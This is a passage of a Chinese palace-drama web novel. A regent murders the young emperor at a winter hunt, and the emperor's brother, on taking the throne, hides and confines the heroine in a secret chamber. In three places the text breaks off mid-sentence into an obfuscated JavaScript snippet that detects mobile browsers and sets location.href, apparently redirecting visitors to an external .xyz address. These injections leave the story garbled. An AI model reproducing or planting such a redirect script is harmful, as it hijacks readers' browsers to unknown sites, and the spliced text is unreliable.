他双肩剧烈起伏,语气轻蔑道:“先皇帝在一众大臣中,选中上官大人辅政,不知道他泉下有知,会不会失望?”
闻言,赵长昭心口剧烈起伏,额上冷汗滚落。眼见着上官楚面色难看,他扑通一声跪下,额头重重磕在冰冷的殿砖上,声音里带着颤抖。
他知道兄长早已心存死志,一想到这便如万箭穿心。
“上官大人恕罪!陛下神思错乱,言行失度,绝非有意冒犯大人!请大人恕罪!”
他急切哀求,几乎泣不成声,额角鲜血浸透,仍一下一下叩着,直至血痕斑斑。
上官楚冷眼旁观,唇角泛起一丝讥笑。他俯身捡起那柄落地的长剑,指尖轻轻拂过剑锋,寒光一瞬间映照在赵长昭惶惧的面孔上。
他转过身拿着剑一步步逼近,“皇帝不中用了,你呢?”
话音一落,长剑便指向赵长昭。
赵长昭瞳孔骤缩,连忙爬行上前,抱住了上官楚的膝,声音嘶哑:“大人!我不想死!饶我一命!我再也不敢了!求您饶过我吧……”
声泪俱下,姿态卑微至极。他并非畏死,只是不甘死在上官楚手下。若真要死,他也要拉一个上官家的人陪葬。
赵长昭不停叩首,口中求饶,心底却暗暗权衡着一击夺剑的可能。
他跟着严子虚习文练武,用功刻苦,现下谋算着自己的一招一式,若真能与上官楚同归于尽,那便是他得偿所愿,届时皇兄与玉烟还能重头来过。
赵长昭的眼神越过上官楚落在赵长曙身上,他见他拧着眉,怕是在为他的怯弱而心寒。
他的狼狈模样似是惹了上官楚欢喜,上官楚仰天笑了一声,手中长剑一挑,挑起了他的下颌。
上官楚注视着赵长昭的眼睛,赵长昭本能的瑟缩着,他知上官楚狂妄久了,绝不会喜欢有人忤逆他。
他越是示弱,反而能讨他欢心。
上官楚在赵长昭的下巴处划出一道血痕,“我随先皇征战沙场,若他泉下有知,见赵氏子孙窝囊至此,怕是恨不得亲手清理门户。”
赵长昭浑身颤抖,泪水顺着面颊滚落,掩住了眼底翻涌的愤恨,口中却只是不住低声喃喃:“上官大人饶命……大人饶命……”
赵长曙冷冷直视着一切,在一旁蹙着眉。片刻后,上官楚终于收剑,转而望向他。他提剑而立,从上而下打量,目光落在赵长曙紧握到指甲刺入掌心的拳上,唇角勾出一丝冷笑。
“陛下。”他慢条斯理地开口,“依臣之见,十三殿下倒比你更识时务。”
“哐当”一声,长剑坠地,清脆刺耳,赵长昭心中那块石头也随之落下。
“臣告退。”上官楚皮笑肉不笑,向赵长曙一拱手,转身退下。
殿门缓缓阖上,厚重的回声在空旷的殿宇中久久回荡。
赵长昭注视着上官楚离去的背影,他的手死死扣在殿砖缝隙间,忽而一双手按在他肩上。
赵长曙的声音似是因剧痛与压抑而带着颤,“别怕了,上官楚走了。”
“哥哥,我不怕死,我也不想你死。”赵长昭声音低低地道。
“哥哥知道。”赵长曙回之以一个苦笑。
赵长曙叹了口气,将他拉入怀中,任他将脸埋在自己肩头。兄弟二人一时都不说话,只能听见彼此急促的心跳声。
良久,赵长曙轻声道:“你方才做得很好。”
赵长昭怔了怔,眼泪止不住流下。他想开口,却被赵长曙抬手抚了抚后脑,动作近乎笨拙,却透着安抚的意味。
这之后,殿中的闹剧就像不曾发生过。宫墙依旧森然,檐角的风声依旧低沉,往来宫人的脚步声一如往常。
很快大雪封山,正是围猎的好时机。
赵国有天子领百官亲狩的传统,上官楚一马当先,他的几个儿子和堂侄辈皆在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340400|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朝中任要职,一场雪猎,倒成了上官家出尽风头的好时机。
赵长昭瞄准了一只正怆惶逃窜的鹿,他拉满了弓,最终叹了口气,不忍心射出这一箭。
一旁的上官华见了,忍不住调笑,“十三殿下是天子血脉,怎么连射只鹿都不敢吗?”
赵长昭直言,“大雪封山,若射死了母鹿,连带着一窝小鹿也遭殃,实不忍赶尽杀绝。”
上官华没言语,只搭弓射箭一气呵成,方才的鹿霎时间已经毙命。
赵长曙神色暗了暗,又与身旁的臣子对视了一眼,他朝赵长昭笑笑,回头低声吩咐了侍卫先送十三殿下回去。
赵长昭默默回头看了一眼,只见赵长曙裹着白色裘皮大氅,面色惨白,发丝间尽是点点雪花,整个人好似要被这场雪吹散了。
酒香裹着烤肉的香气四处弥漫,围猎了一日的众人围坐在篝火边。
赵长曙坐在主位,手持金樽,并不饮酒,仍端坐着。
他心跳极快,是在盘算着什么,随时准备摔杯为号,将上官楚就地正法。
一场宴会,赵长曙一直心不在焉。很快,几个士兵将一具不曾人形的臣子尸体被扔在大厅中央,众人皆是倒吸一口凉气,却无人敢动作。
赵长曙几欲起身,又跌坐回原地,面色变得惨白。
“今日月色极好。”上官楚摇摇晃晃地站起身来,他跨过脚下尸体,走到赵长曙面前,仰头望着夜空那一轮圆月,醉态十足地笑道:“如此明月,竟叫人心烦……陛下可知臣有一艺,能将天上的月亮射下来?”
话音刚落,众人或笑或讶,有人高声起哄:“上官将军莫非真醉了?月在九霄,你怎射得着?”
众人为上官楚捧着场,丝毫不在意地上的血腥场面。
上官楚不语,只是大笑。他取过亲兵递上的长弓,一边搭箭一边朗声道:“臣愿为陛下取月献瑞!”
赵长曙眉头微蹙,正欲开口,那一箭却已破空而出。
“嗖——”
利箭撕裂夜风,直取主位,箭羽贴着赵长曙肩头钉入他身后的一棵老松树,箭尾仍在嗡鸣。
耳边箭鸣声未散,赵长曙轻笑一声,绝望地闭了闭眼。
上官楚似是一愣,随即大笑起来,酒坛滚落一旁,“陛下恕罪!臣……臣本欲射月,怎料手滑,走偏了……”
“大胆!”一个男子起身呵道,“上官将军不敬于君王,天底下岂有这样的道理!”
这话落在耳边,上官楚神色一凛,又是一箭射出,箭矢破风而来,直直奔着赵长曙胸口而去。
赵长曙闭了眼,并不躲避。
霎时间利箭穿胸而入,剧痛在顷刻间蔓延开来。他低头,望见箭羽没入左胸,鲜血迅速染透了衣襟。
赵长曙怔了一瞬,唇角却缓缓扬起,露出一个近乎释然的笑。
那笑容仿佛凝在了唇边,未及散去,他的呼吸便一寸寸浅下去,眼底的光也一点点黯淡,最终归于寂静。
内侍仓皇而来,太医紧随其后,有人已开始颤声高呼:“快!快抬陛下回宫!”
上官楚却缓缓收弓,面上不见惊慌,反倒一脸讶然,“这……竟失了手?唉,可怜陛下醉中观月,竟被误伤。”
“上官楚!你胆敢弑君!来人,快将这乱臣贼子拿下!”有人高呼,四下却无人敢动作。
上官楚再次搭弓射箭,这嚷嚷的人便也倒地没了气息。
他挥挥手,随意道:“有异议者,杀。”
他话音一落,惊起一群树上寒鸦。
景元五年,帝赵长曙冬狩酒醉坠马而亡,享年二十五岁,谥号为成。
17. 枫叶(一)
胡玉烟只觉自己不过沉沉睡了一觉,醒来时,却已身在陌生之地。
她的双足被缚,躺在一张窄硬的榻上,四下陈设冷清,无窗无门,死气沉沉,不知是宫中哪一处被弃的偏殿。
冰冷从地面透来,她忍不住瑟缩了一下,迷惘与惧意瞬间从四肢百骸涌上心头,一下子压过了一月来的悲伤。
赵长曙驾崩的消息传回京师那夜,雪下了一整晚,她只是裹着被褥默默流泪,从黑夜哭到天明。
她怨上官楚,怨他对他们赶尽杀绝,她怨赵长曙,为什么要与她恩断情绝。她怨世道,怨这宫墙与权势逼得他们都不再是原来的自己。可不论怨谁,到最后,她怀里再也抱不回那个笑得像春水的少年了。
那日直到晨曦微露,她眼见一只蝴蝶自窗棂。轻盈飞入,旋又翩然掠出,她猛地起身去追,蝴蝶却越飞越高,毫不回头,倏忽消失在檐角之外。
她恍然停住脚步,心知淑妃胡氏早就死了,她如今只是十三殿下赵长昭宫中的一个宫人。
赵长曙出殡那日,她偷偷登上城楼,只远远望了一眼送葬的行列。
想来她与赵长曙是结发夫妻,不曾想黄泉路上,她只能这样送他一程,
从前两地离心,如今世间真正只剩她一人了。
那之后,胡玉烟只能躲在赵长昭殿中,赵长昭自那日随帝同行出狩,便再无音讯。东厢的宫门日复一日紧闭,胡玉烟每日焚香祷告,却始终盼不来那个瘦削身影。
殿中早有耳语传开,先帝亡故,十三殿下恐也遭不测。更有甚者言道,上官楚欲立荣州郡王那年仅六岁的孙儿为帝,局势变幻,赵长昭的身份愈发尴尬。
宫人们开始打点细软、自谋出路。胡玉烟却无处可逃,只得每日在屋中备下一条白绫。夜深人静,她坐在案前望着白绫出神,想着若真有人前来索命,倒不如她自行了断,也算保得几分尊严。
她心已死,只想等一个结果,运气好的话,她尚能做一个白发宫女,带着不能说的回忆寿终正寝。
胡玉烟环顾四周,又挣了挣身上的束缚,这时墙上的暗门发出一声轻响,她眼睁睁看着门开走进一个人影。
那人面色蜡白,眼窝深陷,像是从死境中走出。
是赵长昭。
赵长昭还活着,赵长昭来找她了。
她怔了半晌,几乎以为自己是在梦中,泪意涌上眼眶:“秀郎……”
赵长昭没有说话,只一步步走向她,像是被什么牵引着,他走近然后跪坐下来,将头缓缓伏在她的膝上。
胡玉烟终于放下心来,释然一笑,指尖轻轻抚过他打结的发丝,一声长叹哽在喉头:“长昭这些日子去哪了?”
赵长昭伏着,不动,只是沉沉地喘着气,像是压抑太久,终于找到一方喘息之地。
良久,他才喃喃开口,声音带着干涸的裂痕。
“荣州郡王不愿受制于上官一家,举家自焚。”
他顿了顿,像是在逼自己继续,“我被上官楚软禁一月,眼睁睁看着他杀了我娘。”
胡玉烟手上动作一顿,半是震惊半是心疼地盯着赵长昭。
赵长昭抬起头来,脸色苍白而冷漠,眼神却死气沉沉。
“明日是朕的登基大典。”
这句话仿佛从他心里剜出来的,钝钝的,滴着血。
赵长昭的话一句接着一句,胡玉烟的心一分紧过一分,她没有回应,只一言不发地将他抱紧了些,天寒地冷,她怀里的人却比风雪还要冰。
二人紧紧相拥,赵长昭手上的力气越来越大,胡玉烟不挣扎,任他抱着,口中呢喃着:“秀郎莫怕,活着就好。”
屋内静默了许久,只有赵长昭低沉的呼吸贴在胡玉烟脖颈,隔着衣料传来一丝尚未褪尽的寒意。
见赵长昭似是平静下来,胡玉烟的目光落在远处的暗门上,终于试探着问道:“这是哪里?为什么要绑着我?”
赵长昭的身子僵了一瞬,随即从胡玉烟的怀中抬起头来,他嘴上挂着笑意,“御书房有一间密室,还是皇兄告诉我的,没人知道这里的机关,连上官楚也不知道。”
胡玉烟眉头微蹙,仍是不解,手指悄悄收紧了一些。
赵长昭轻笑一声,抬手替胡玉烟整理了散乱的鬓发,他的神情还带着未散尽的疲惫与惘然,眼底却泛起了红。
“从前,我眼睁睁看着玉烟受尽苦楚,我恨皇兄不能保护你,也恨我自己。”
他将额头抵在她肩窝,声音里混着微不可查的颤,“我要当皇帝了,我要把你藏起来。”
“现在谁都找不到你了,除了我。”
胡玉烟怔怔地看着他,像是过了很久才意识到他说的“藏起来”不是一句比喻,而是真正的幽禁。
她下意识想抽回手,但赵长昭的指尖却紧了紧。
赵长昭望向她的眼神一瞬间变得锐利,随即又飞快收敛,“你就待在这里,哪里也不去,好不好?”
胡玉烟看着眼前这个眉眼熟悉、却像是变了模样的赵长昭,想问他“你是不是疯了?”却终究没有出口。
她低下头,缓缓将他的手握住,指尖微凉,试图以平静回应他的混乱。
赵长昭手上使了力气,反手扣住她的手腕,下一刻他忽然靠近。胡玉烟心中一紧,微微后仰,鼻端已被他的气息包围。
他的眼睛离她极近,近到她能看见他眼底一圈圈晕开的红血丝。
胡玉烟屏住了呼吸,却见他忽然停住,僵在了她唇前寸许之地。
胡玉烟僵着身子,语气尽量温和地开口:“长昭,能不能……先把这个解了?”
赵长昭一怔,低头看去,似这才注意到她踝间那道泛红的勒痕。他手指微微一颤,像是被烫着了一样,连忙起身去解,动作带着一股慌乱。
“对不起,我不是有意的,我只是……只是怕你走了。”
他解开束缚时手指不住发抖,眼神闪躲,似乎在害怕她下一刻就会推开他、质问他,甚至……离开。
束缚一松,胡玉烟下意识地收回双足,踝骨被压得久了,皮肤泛着淡淡青紫。她没有立刻起身,只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353006|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是带着几分怯意回应他。
“我不走。”
赵长昭一愣,抬起头来看她,眼神里一瞬间掠过某种近乎破碎的情绪。
下一瞬,他紧紧抱住她,像是溺水之人死死抓住最后一根浮木,一动不动,只是轻声一遍一遍喃喃着:“别离开我,玉烟,我只有你了,求你……”
胡玉烟僵在原地不知所措,这些年来她早已将赵长昭看作亲弟弟,她还从未见过他这般模样。
临走前,赵长昭回头望了她一眼,唇角动了动,笑中带着满足,只轻轻把门关上。
门阖上的声音在这幽暗的密室中格外沉重,仿佛将整间屋子都封死了。
胡玉烟静静坐着,良久没有动作。
她很快反应过来了,那个从前攥着自己衣角的弟弟不见了,他要当皇帝了。
这之后,她缓缓合上眼,脑海中浮现出赵长昭方才那双眼。心中那点久压的惊惧终于泛上来,却与一种复杂的情绪缠绕在一起,难以理清。
赵长昭要当皇帝了,这个消息于胡玉烟而言像梦一样,那是她看着长大的孩子。她慢慢跪下,双手合十,默默在心里念着,自己一生已无所期盼,若真有神明在天,能否让赵长昭……这一生……得个善终。
接下来的几天里,胡玉烟认命地待在这间密室里,这里似乎并不是用做藏物之用,一切生活设施都像是为了囚人准备的。
她甚至能在里面烧一壶热茶。
事情走到这一步,她早就无能为力。
胡玉烟独自在这里待了五日,她刚在床板上刻下第五道刻痕时,密室的门终于开了。
赵长昭穿着金绣龙袍走来,身段气韵像极了自己的同胞兄长,胡玉烟只笑了笑,一瞬间竟有些恍惚。
他手上端着珍馐佳肴,笑着道:“玉烟,快来用一些吧。我让御膳房照你喜好做的。”
胡玉烟摇摇头,只道:“我用过膳了,现下吃不下。”
赵长昭呼出一口气,犹豫着开口,“玉烟……昨日皇后入主中宫了,是上官楚的孙女。”
胡玉烟皱了眉,没想到上官楚动作这么快,既立帝又封后,步步紧逼。
赵长昭将食盘放到一边,像是在克制什么情绪,沉声道:“她性情泼辣狠毒,一进宫就指使人打了几名宫婢,说我冷待她……她真当这江山已姓了上官。我一看见她,就觉得恶心。”
“为何要这样一个女子做我的正妻?”
胡玉烟垂眸,不知该如何安慰,傀儡帝王,权臣当道,处处只能仍让。
她扯出一个笑,只能安慰着道:“帝王婚事从来是由不得自己做主的。”
许是想到了曾经,赵长昭眉间带着化不开的愁绪,忽而抬眼看她,目光毫不避讳,胡玉烟不禁觉得有些别扭,只尴尬地偏过头去。
赵长昭悻悻地低下头倒好了酒递过去。
“玉烟陪我用些吧。”
胡玉烟饮了杯中酒,又同赵长昭一起用了膳,两人有一搭没一搭地说着话,夜色已深,赵长昭分明带着不舍,却依旧归去。
18. 枫叶(二)
胡玉烟心中五味杂陈,她忍不住去想幼时的赵长昭,那时他眼里全是光,是懵懂又执着的依恋。如今他长高了,声音低沉了,成了和他哥哥一样的傀儡帝王。
她察觉到有什么东西变了。
她心疼,可无能为力。
墙侧的一道小缝隙可以让她瞧见外面的天色,不至于不分晨昏。胡玉烟抬手摸上那道暗门,又在四周拍打摩挲,只瞧见了一个锁孔,确定了这里没有别的机关可以让她出去。
这间屋子不大,她心中生起躁意,徒劳地在屋中走来走去,又重重地叹了口气,躺回床上抬眼盯着漆黑的屋顶。
胡玉烟脑子里回想起那日赵长昭说“要把她藏起来”的话,那眼中分明尽是执拗。她明白赵长昭这是雏鸟情节,这偌大的皇宫中只有他们二人能痛到一块去,念到一块去。
胡玉烟的心中渐渐升起一种不好的预感,她日夜默默祈祷着,不愿见他们兄弟落得同样的下场。
第二日赵长昭又来看她,紧接着日日都来,两人在这狭小的空间里相对而坐。
胡玉烟一点点觉出赵长昭身上的细微变化,有时候她的手都止不住颤抖,她分明回想起来,赵长曙也是这般从一个矜贵公子变成一具行尸走肉。
有时他带来精致的吃食,一边饮酒一边与她闲话家常,有时只是静静坐着,看她拈针绣花,胡玉烟起初不语,后来也慢慢习惯了,有一搭没一搭地同他说话。
她说宫中桂花开了,他说御花园早已冷清,他说梦见了兄长,她便沉默许久,只轻声应了句:“我也常梦见。”
胡玉烟只微微勾起嘴角,她撒谎了,赵长曙其实从来没来梦里看过她。
这日赵长昭一入门,胡玉烟便注意到他唇色异常苍白。
胡玉烟正拨着一盏小炉中炭火,抬眼见他进来,心中一惊,忙起身迎上。
“你怎么了?脸色这样差,是不是病了?”
赵长昭笑着摆手,嗓音却嘶哑:“没事,只是昨夜冷了些,殿中漏了风。”
胡玉烟皱着眉将手背贴上他的额头,不禁皱眉:“你发了热了,得请太医看看才是。”
赵长昭却摇头,一屁股坐在床沿,像个耍赖的孩子似的,半仰着身看她:“我不走,我头疼,一走动就更疼了。”
“你……”胡玉烟无奈,又有些心疼,“你是皇帝,怎么跟小孩子似的胡闹?”
赵长昭转头看着她,目光却温顺又执拗,“你在这儿,我心里才不疼,你若不说话,我就听炉子响,你若说话,我就听你说。我不想去御医院,也不想回宫里看那些人,我只想在这儿歇一歇。”
他说完,将头轻轻倚在她膝边,长睫微颤,像是强撑着醒着又随时会坠入昏沉。
胡玉烟抿唇,看着他眼下青影斑驳、鬓发凌乱,心抽紧了几分,苦笑着由他去了。
不一会儿赵长昭传来了平稳呼吸声,胡玉烟把他平稳放在床上,自己则趴在桌上小憩起来。
等她醒来,赵长昭仍是在睡,胡玉烟凑上前去,见他眉头蹙着,额上还起了汗珠。
“秀郎?”
赵长昭没应声。
“赵长昭!”她压着心慌唤他,可他眉头紧蹙,唇色泛白,怎么都叫不醒。
胡玉烟慌了神,立刻俯身想去门外唤人,可这间密室本就无门无窗,只余那扇机关暗门紧闭如故。她转身回望赵长昭,一边掀起他的衣襟,一边颤着手摸索。
不多时,她在他腰间内衫的暗袋中,摸出一枚温热的铜钥。
她眼中倏然一亮,起身跑到石门前,颤着手将钥匙插入门侧凹槽。
久违的寒风灌了进来,吹得她眼眶一酸。
胡玉烟回头望了一眼昏迷在榻上的赵长昭,使了浑身力气将晕过去的人扶起来架在身上,艰难地抬步往门口走去。
二人出了密室,胡玉烟又废了好大力气才没让赵长昭摔着,把他安安稳稳地放在了御书房的软榻上。
胡玉烟环顾四周,神思飞转,忽地抓起桌上一只白瓷瓶,高高举起,猛然摔在地上!
碎裂声在御书房内炸响,声势不小。
紧接着她赶紧躲到屏风之后,眼见着有宫人听到了动静慌慌张张地跑了进来。
宫人一入得门,便见赵长昭俯趴在案几上神智不清,登时慌了神,跌跌撞撞地转身冲了出去,口中高喊:“快去请太医——”
见脚步声渐远,胡玉烟终于长舒一口气,手指仍紧紧攥着衣角。她带着些不舍往周遭回望了一下,心下一横,没有回密室,反而贴着墙将自己藏进了柜子间的缝隙中。
她屏息凝神听着外面的动静,没过多久就传来了匆忙的脚步声。
是太医来了。
不一会儿太医低沉的声音传出,“发热如炭,气息紊乱,是高热中风,又未及时调理。”
“此乃劳心积郁、心火内结所致,若不是身子底子强……唉,陛下这段时日实在太熬了。”太医似是叹息一声。
胡玉烟在暗处听得紧张,指甲掐入掌心也浑然不觉。
一阵脚步纷乱,书房内又陆续进了许多人,胡玉烟知是宫人将赵长昭抬回了寝殿。等动静停了,她才探出头,瞧着空荡荡的房间,案几上还留着翻倒的砚台和溅开的药渍。
捏了捏手中的钥匙,胡玉烟深吸一口气,终还是悄悄退回了密室。继续当一个被藏起来、连名字都不能被提起的人。
随着暗门合上,一切都恢复如前。
一番闹剧结束,胡玉烟回到那张窄榻上躺下,平复起呼吸。
意料之中,接下来的几日赵长昭都不曾出现。
床头添下一道道新的划痕,她被关在这里已经有一月了,她心中想着等赵长昭来了,她要和他说,她宁愿去当洒扫庭院的宫女,也不要再被关在这暗无天日的地方,像一个囚犯一样活着。
她强忍下开门出去看看状况的心思,脑海中却一遍遍浮现赵长昭昏厥的模样,额上的冷汗、苍白的唇色、烧得滚烫的肌肤……她几乎要忍不住再次起身冲出去,可还是强迫自己蜷缩在被褥里。
可日子一天天过去,密室中的吃食已耗尽,连水也只剩最后一瓢。她的心开始发慌。不是怕饿,而是害怕赵长昭出了什么事。
正当她终究忍耐不住,准备冒险离开时,暗门处突然传来了有规律的敲击声。
胡玉烟生了警觉之心,转而一想又放心下来,她走到门前,手指摸索着钥匙,略微迟疑,还是将门打开了。
来人是赵长昭,胡玉烟心里的石头落了地,刚想出声,却被他猝不及防地一把揽入怀中。
他的手臂像铁箍一样缠在她腰间,毫无保留地将压抑许久的情绪发泄在这个拥抱中。
胡玉烟闷哼了一声,被勒得生疼,只能挣扎着拍了拍他后背。
赵长
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377422|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
昭低头一瞥,看见她手中仍紧紧攥着的钥匙,他沉默地伸出手,一根一根将她的手指缓慢掰开,带着不容拒绝的固执。
然后,他拿回了那枚钥匙,紧紧攥在自己掌心里,朝她抿嘴一笑。
“秀郎的病可痊愈了?”胡玉烟关切道。
赵长昭点点头,直视着眼前人,眼眸中闪烁着异样的神采。
“我很想你。”他依旧攥着她的手。
胡玉烟慌乱地撇过头去,示意赵长昭坐下,状似随口地说道:“你无事,我便放心了。”
赵长昭坐在椅上,指尖轻轻摩挲着那把钥匙,语气低沉下来,转而道:“玉烟……怎么能偷偷出去呢?”
胡玉烟一愣,知道赵长昭是在说她拿了钥匙开门出去找太医的事,她蹙了眉,赵长昭的质问让她有些不悦。
“你重病,我实在担心。”
“担心我?”赵长昭忽然笑了,笑意却并未到眼底。他转过脸去,语气骤然沉下来,“你知不知道,若是被旁人看见你,若是被上官楚知晓你还活着,你会怎样?你想再一次被人逼死吗?”
赵长昭眼眸闪动,仿佛一瞬间又看见了那个躺在床上怎么也醒不过来的人。
胡玉烟眉心微蹙,声音也冷了下来,她不能理解赵长昭的性情大变。
“那要我看着你死在这里吗?何况我又不是犯人,为何要日日困在这里?”
赵长昭逼近一步,他抬手似是想抚上胡玉烟的脸颊,又悻悻的收回,低声道:“不好吗?和我死在一起……我们一起,永远一起。”
他抚上胡玉烟的肩,忽而拔高了音量,“你不能离开我!”
胡玉烟拧紧了眉,被他这句话吓了一跳,不解地看着赵长昭。
赵长昭也意识到自己的失态,将语气放缓了些,“玉烟……我已经什么都没有了,除了你,我谁都信不过,谁都留不住。”
赵长昭闭了闭眼,再睁开时,整个人像是被抽去了力气,嗓音带着一丝苦涩的哀求:“我没有要凶你……我只是太怕了。”
他放缓了语气,眼眶微红,近乎喃喃地道:“玉烟,我只有你了,你若也不见了,谁还会在意我是不是病了,是不是撑不下去?你若走了,我又要去哪里找你?”
胡玉烟怔怔地望着他,她没想到赵长昭心中所想竟是这样的。
赵长昭仿佛怕她不信似的,忽然抬起手放到自己胸口,一字一句道:“我日日忍着,装作一切都好,只为了不让你看到我疯掉的样子,可我早就撑不住了。”
他的语气轻得像冬天里的风,带着毫无防备的痛意。
“你别不理我,玉烟,别逃……我会害怕。”
霎那间,胡玉烟心中翻涌起一种难以言说的情绪,混合着心疼与动摇。
赵长昭盯着她眼好似在一瞬间变得赤红,胡玉烟整个人怔愣住,自相识以来,她从未和赵长昭发生过争吵,这一瞬间她觉得她看不透赵长昭,甚至有几分畏惧。
她忽然意识到,那个曾经清俊如玉的少年,已经在无尽的挣扎与黑暗中,一点点被命运压弯了脊背。
他是真的病了,病在心上,病在骨里。
她紧盯着眼前人,不由地瑟缩了一下,然后微微点了点头。
见胡玉烟同意了,赵长昭手上力气一松,露出一个如释重负的笑。
“那我们说好了,玉烟要永远陪着我。”他说。
19. 枫叶(三)
严子虚执白,神情淡淡,指尖轻轻捻起一子,落在棋盘正中,“啪”的一声清脆。赵长昭凝神对弈,目光却有些飘忽。
“陛下?”严子虚看出赵长昭在走神。
赵长昭拧了拧眉头,好像有些恍惚。
“陛下,胡大人知臣常入宫廷,特意托臣询问,玉烟如今在何处?”
赵长昭的脸色沉了下去,手里的一枚黑子顿了顿,半晌才缓缓落下,“朕不知道,朕也在找她。”
话音很轻,轻到几乎淹没在棋子的脆响里。
严子虚叹了口气,“臣知陛下与玉烟私交甚好,一个大活人,若是就这样没了,也是惋惜。陛下若得了消息,烦请告知臣一声,胡大人很是挂念女儿。”
赵长昭呆滞地点了点头,神情落寞,眼神落在棋局上。
忽而,门外传来小太监急促的禀报声:“陛下,上官大人求见。”
严子虚侧目看了一眼,拱手起身:“陛下自去,臣去偏殿候着便是。”
偏殿中,严子虚随意走近一间房,门扉“吱呀”一声开合,严子虚抬步,却蓦地停住了。
只见房中竟整齐铺着数十张棋盘,几乎占满了地面。
棋盘上黑白子交错落定,没有一盘留出行棋的余地。那些子落得杂乱,却又带着某种规律,有的盘黑子密密麻麻,占据几乎全部,有的盘却白子满满,黑子寥寥。
显然并非棋局。
严子虚心头微震,眼底闪过一抹疑色。
他注视着满地黑白,知赵长昭心思敏锐,直觉告诉他这背后藏着秘密,他无意间闯入了。
严子虚慢慢将门合上,只当自己没看见,他受了妹夫所嘱,来宫中询问胡玉烟的下落,可她在先帝驾崩后就像人间蒸发了一样。
他问了赵长昭,对方只言不知,他知赵长昭与这位嫂嫂感情深厚。他满脸的哀容不像假的,严子虚只暗自猜测自己这位侄女对先帝情真意切,此番是与他同去阴间续约了。
“严大人。”不一会儿,一个内侍快步走来,低声禀告,“陛下说今日身子不适,请先生早些离去。”
严子虚点点头,袖袍一甩,转身七拐八绕去了从前胡玉烟的藏身之所。他从袖中掏出一支白烛,点燃后放在殿前,这才转身离去。
天光已暗,密室中,胡玉烟掩面躺在榻上,那天的赵长昭吓到她了。
她本该愤怒,本该质问他为什么将她藏在这幽深的密室里,如同困兽一般日日不得见光,可那些话卡在喉咙里,最终还是没能说出口。
他眼里的悲伤太沉,像是一口深井,将她拖进去,一寸寸溺毙。
她知道赵长昭是错的,是偏执的,是自私的。
可他抱着她的腰哭,他说:“我已经失去阿娘,失去兄长,失去一切……你若走了,我就没有活下去的意义。”
那种极致的依赖与深情,让她生出一种怪异的责任感,仿佛她不留下来,他就会沉进深渊,再也爬不上来。
日子一天天过去,胡玉烟放弃了在床板上刻下划痕,她已然开始习惯了这密室中的安静,习惯了他常低声问她“可还习惯”,习惯了他拿着药碗蹲下时那一声“玉烟”。
夜深露重,密室外忽而传来轻轻的叩门声。胡玉烟翻身坐起,还未开口,暗门已被推开,一道颀长身影穿着一身黑色常服步入。
胡玉烟没想到赵长昭这时会来。
他眼中泛着异样的光,神色比平日愈发轻快,他朝她伸出手,像是小孩子撒娇一般低声说:“玉烟,跟我走。”
胡玉烟怔了一下,下意识将手递了过去。
“我们去哪?”她低声问,任由赵长昭给她系上黑色披风。
赵长昭牵着她,掌心滚烫,像是发着烧,步子却很快,兴致勃勃地拉着她绕过御书房,穿过重重宫墙,趁着月黑风高避开了巡夜的内侍,一路往花苑方向疾行。
“带你去个好地方。”他回头笑了笑,那笑容少年般明亮,却又藏着点莫名的急切。
夜风将他鬓边的发丝吹乱,胡玉烟望着那张清隽而倦怠的脸,心中一时百感交集。不多时,他们来到花苑深处。
湖水如墨,四周寂静,只有星光倒映其中,一叶小船停泊在岸边,船上早已备好了毯褥与酒壶。赵长昭率先踏上小舟,然后回头看她,手掌朝上摊开,声音低柔,“来吧,我撑船。”
胡玉烟看着他,有些迟疑地踏了上去,脚下微微晃动,舟身轻轻摇曳。赵长昭站起身执桨缓缓划开水面,小船便带着两人滑入夜色深处。
她许久不曾踏足外面的世界,如今趁着夜色也难掩兴奋之色。
赵长昭见她高兴,忙地斟酒相邀。
胡玉烟坐在船头,手指有一下没一下地拨弄着船沿上的露水,她笑道:“想不到长昭还会撑船。”
赵长昭似笑非笑地回头看她一眼,“我也是第一次,自然而然就会了。”
小船划到湖深处,赵长昭让船就这样漂着,他进了里仓,举起杯中酒一饮而尽。
船仓里只燃了一只灯笼,微弱的光亮弄得胡玉烟有些眼皮发酸。
赵长昭忽而从怀中取出一只荷花,花瓣上还带着水珠,一定是方才摘的,他的眸光隐隐发亮,“我以荷花相赠,玉烟为我抚琴如何?”
胡玉烟会心一笑,接过荷花放在鼻尖轻轻嗅了嗅,才放在案几上。
她坐正身子,指尖拂过琴弦,微调了一下音准,便轻轻拨出第一声。曲调缓缓流淌,如月色倾洒湖面,清雅空灵,似一缕烟、一缕梦。
